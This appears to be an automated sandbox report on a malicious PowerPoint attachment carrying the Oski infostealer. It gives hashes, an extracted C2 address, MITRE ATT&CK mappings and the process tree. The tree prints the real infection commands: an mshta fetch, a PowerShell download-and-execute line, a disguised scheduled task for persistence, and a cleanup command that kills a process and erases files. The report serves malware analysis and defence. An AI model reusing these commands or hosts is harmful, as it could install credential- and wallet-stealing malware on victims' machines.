oski | 38d2d19379a2972893b4e72762478cfb3323f1c6d56b50787e25ff4eb96a2f05

General

Target

Drawing for Our New Order.ppt
Size

61KB
MD5

79493748bb0077dcef55330b23a575f8
SHA1

03b6a4e65c92aafd4b1ca0b1c136480b05a3f4be
SHA256

38d2d19379a2972893b4e72762478cfb3323f1c6d56b50787e25ff4eb96a2f05
SHA512

7126d9fdb489eb259001917d2f6e4999789e6db9d61a752f65fe1652d97f04db0ff8f1652d8f865cbb86199fa16e7b34c83e8b3daadb1fd631716160c50ee540

Score

10^/10

oski infostealer spyware

Malware Config

Extracted

Family

oski

C2

103.153.76.164/we/div/

Signatures

Oski
Oski is an infostealer targeting browser data, crypto wallets.
infostealer oski

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE is not expected to spawn this process	2872	4652	mshta.exe	POWERPNT.EXE

Blocklisted process makes network request 15 IoCs

Processes:

mshta.exepowershell.exe

flow	pid	process
19	2872	mshta.exe
21	2872	mshta.exe
23	2872	mshta.exe
25	2872	mshta.exe
27	2872	mshta.exe
30	2872	mshta.exe
31	2872	mshta.exe
40	2872	mshta.exe
41	2872	mshta.exe
43	2872	mshta.exe
46	2872	mshta.exe
48	2872	mshta.exe
49	2872	mshta.exe
52	2872	mshta.exe
54	4368	powershell.exe

Downloads MZ/PE file
Loads dropped DLL 3 IoCs

Processes:

RegSvcs.exe

pid process

4224 RegSvcs.exe
4224 RegSvcs.exe
4224 RegSvcs.exe
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 4368 set thread context of 4224 4368 powershell.exe RegSvcs.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3560 2872 WerFault.exe mshta.exe

pid	process
4224	RegSvcs.exe
4224	RegSvcs.exe
4224	RegSvcs.exe

description	pid	process	target process
PID 4368 set thread context of 4224	4368	powershell.exe	RegSvcs.exe

pid	pid_target	process	target process
3560	2872	WerFault.exe	mshta.exe

Checks processor information in registry 2 TTPs 4 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXERegSvcs.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegSvcs.exe

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

1332 schtasks.exe

pid	process
1332	schtasks.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

POWERPNT.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	POWERPNT.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	POWERPNT.EXE

Kills process with taskkill 1 IoCs
evasion

Processes:

taskkill.exe

pid process

1004 taskkill.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

POWERPNT.EXE

pid process

4652 POWERPNT.EXE

pid	process
1004	taskkill.exe

pid	process
4652	POWERPNT.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

Processes:

powershell.exeWerFault.exe

pid	process
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe
3560	WerFault.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeWerFault.exetaskkill.exe

description pid process

Token: SeDebugPrivilege 4368 powershell.exe
Token: SeDebugPrivilege 3560 WerFault.exe
Token: SeDebugPrivilege 1004 taskkill.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

POWERPNT.EXE

pid process

4652 POWERPNT.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

POWERPNT.EXEmshta.exe

pid process

4652 POWERPNT.EXE
4652 POWERPNT.EXE
4652 POWERPNT.EXE
2872 mshta.exe

description	pid	process
Token: SeDebugPrivilege	4368	powershell.exe
Token: SeDebugPrivilege	3560	WerFault.exe
Token: SeDebugPrivilege	1004	taskkill.exe

pid	process
4652	POWERPNT.EXE

pid	process
4652	POWERPNT.EXE
4652	POWERPNT.EXE
4652	POWERPNT.EXE
2872	mshta.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

POWERPNT.EXEmshta.exepowershell.exeRegSvcs.execmd.exe

description	pid	process	target process
PID 4652 wrote to memory of 2872	4652	POWERPNT.EXE	mshta.exe
PID 4652 wrote to memory of 2872	4652	POWERPNT.EXE	mshta.exe
PID 2872 wrote to memory of 4368	2872	mshta.exe	powershell.exe
PID 2872 wrote to memory of 4368	2872	mshta.exe	powershell.exe
PID 2872 wrote to memory of 1332	2872	mshta.exe	schtasks.exe
PID 2872 wrote to memory of 1332	2872	mshta.exe	schtasks.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4368 wrote to memory of 4224	4368	powershell.exe	RegSvcs.exe
PID 4224 wrote to memory of 648	4224	RegSvcs.exe	cmd.exe
PID 4224 wrote to memory of 648	4224	RegSvcs.exe	cmd.exe
PID 4224 wrote to memory of 648	4224	RegSvcs.exe	cmd.exe
PID 648 wrote to memory of 1004	648	cmd.exe	taskkill.exe
PID 648 wrote to memory of 1004	648	cmd.exe	taskkill.exe
PID 648 wrote to memory of 1004	648	cmd.exe	taskkill.exe

C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE
"C:\Program Files\Microsoft Office\Root\Office16\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\Drawing for Our New Order.ppt" /ou ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4652

C:\Windows\SYSTEM32\mshta.exe
mshta https://bitly.com/wdjasewquidbnas
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2872

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 ;i'E'x(iwr('https://ia801508.us.archive.org/9/items/qw_20210713/divine.txt') -useB)
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4368

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
4⤵
- Loads dropped DLL
- Checks processor information in registry
- Suspicious use of WriteProcessMemory
PID:4224

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4224 & erase C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe & RD /S /Q C:\\ProgramData\\185028649292438\\* & exit
5⤵
- Suspicious use of WriteProcessMemory
PID:648

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4224
6⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1004

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 80 /tn ""WIND0WSUPLATE"" /F /tr ""\""MsHtA""\""https://randikhanaekminar.blogspot.com/p/divine111.html"
3⤵
- Creates scheduled task(s)
PID:1332

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2872 -s 2992
3⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3560

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Credential Access

Credentials in Files

1

T1081

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

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Downloads

\ProgramData\mozglue.dll
MD5
8f73c08a9660691143661bf7332c3c27

SHA1
37fa65dd737c50fda710fdbde89e51374d0c204a

SHA256
3fe6b1c54b8cf28f571e0c5d6636b4069a8ab00b4f11dd842cfec00691d0c9cd

SHA512
0042ecf9b3571bb5eba2de893e8b2371df18f7c5a589f52ee66e4bfbaa15a5b8b7cc6a155792aaa8988528c27196896d5e82e1751c998bacea0d92395f66ad89

Download Submit
\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

Download Submit
\ProgramData\sqlite3.dll
MD5
e477a96c8f2b18d6b5c27bde49c990bf

SHA1
e980c9bf41330d1e5bd04556db4646a0210f7409

SHA256
16574f51785b0e2fc29c2c61477eb47bb39f714829999511dc8952b43ab17660

SHA512
335a86268e7c0e568b1c30981ec644e6cd332e66f96d2551b58a82515316693c1859d87b4f4b7310cf1ac386cee671580fdd999c3bcb23acf2c2282c01c8798c

Download Submit
memory/648-313-0x0000000000000000-mapping.dmp

Download
memory/1004-314-0x0000000000000000-mapping.dmp

Download
memory/1332-287-0x0000000000000000-mapping.dmp

Download
memory/2872-247-0x0000000000000000-mapping.dmp

Download
memory/4224-304-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4224-305-0x000000000040717B-mapping.dmp

Download
memory/4224-309-0x0000000000400000-0x0000000000438000-memory.dmp

Filesize
224KB

Download
memory/4368-283-0x0000000000000000-mapping.dmp

Download
memory/4368-301-0x000001E9CC996000-0x000001E9CC998000-memory.dmp

Filesize
8KB

Download
memory/4368-303-0x000001E9CEC00000-0x000001E9CEC03000-memory.dmp

Filesize
12KB

Download
memory/4368-296-0x000001E9CEC50000-0x000001E9CEC51000-memory.dmp

Filesize
4KB

Download
memory/4368-292-0x000001E9CC993000-0x000001E9CC995000-memory.dmp

Filesize
8KB

Download
memory/4368-290-0x000001E9CEAA0000-0x000001E9CEAA1000-memory.dmp

Filesize
4KB

Download
memory/4368-291-0x000001E9CC990000-0x000001E9CC992000-memory.dmp

Filesize
8KB

Download
memory/4652-122-0x000001CDAED40000-0x000001CDAFE2E000-memory.dmp

Filesize
16.9MB

Download
memory/4652-123-0x00007FFA55350000-0x00007FFA57245000-memory.dmp

Filesize
31.0MB

Download
memory/4652-281-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-282-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-114-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-280-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-279-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-118-0x00007FFA5A210000-0x00007FFA5BDED000-memory.dmp

Filesize
27.9MB

Download
memory/4652-119-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-117-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-116-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download
memory/4652-115-0x00007FFA38500000-0x00007FFA38510000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads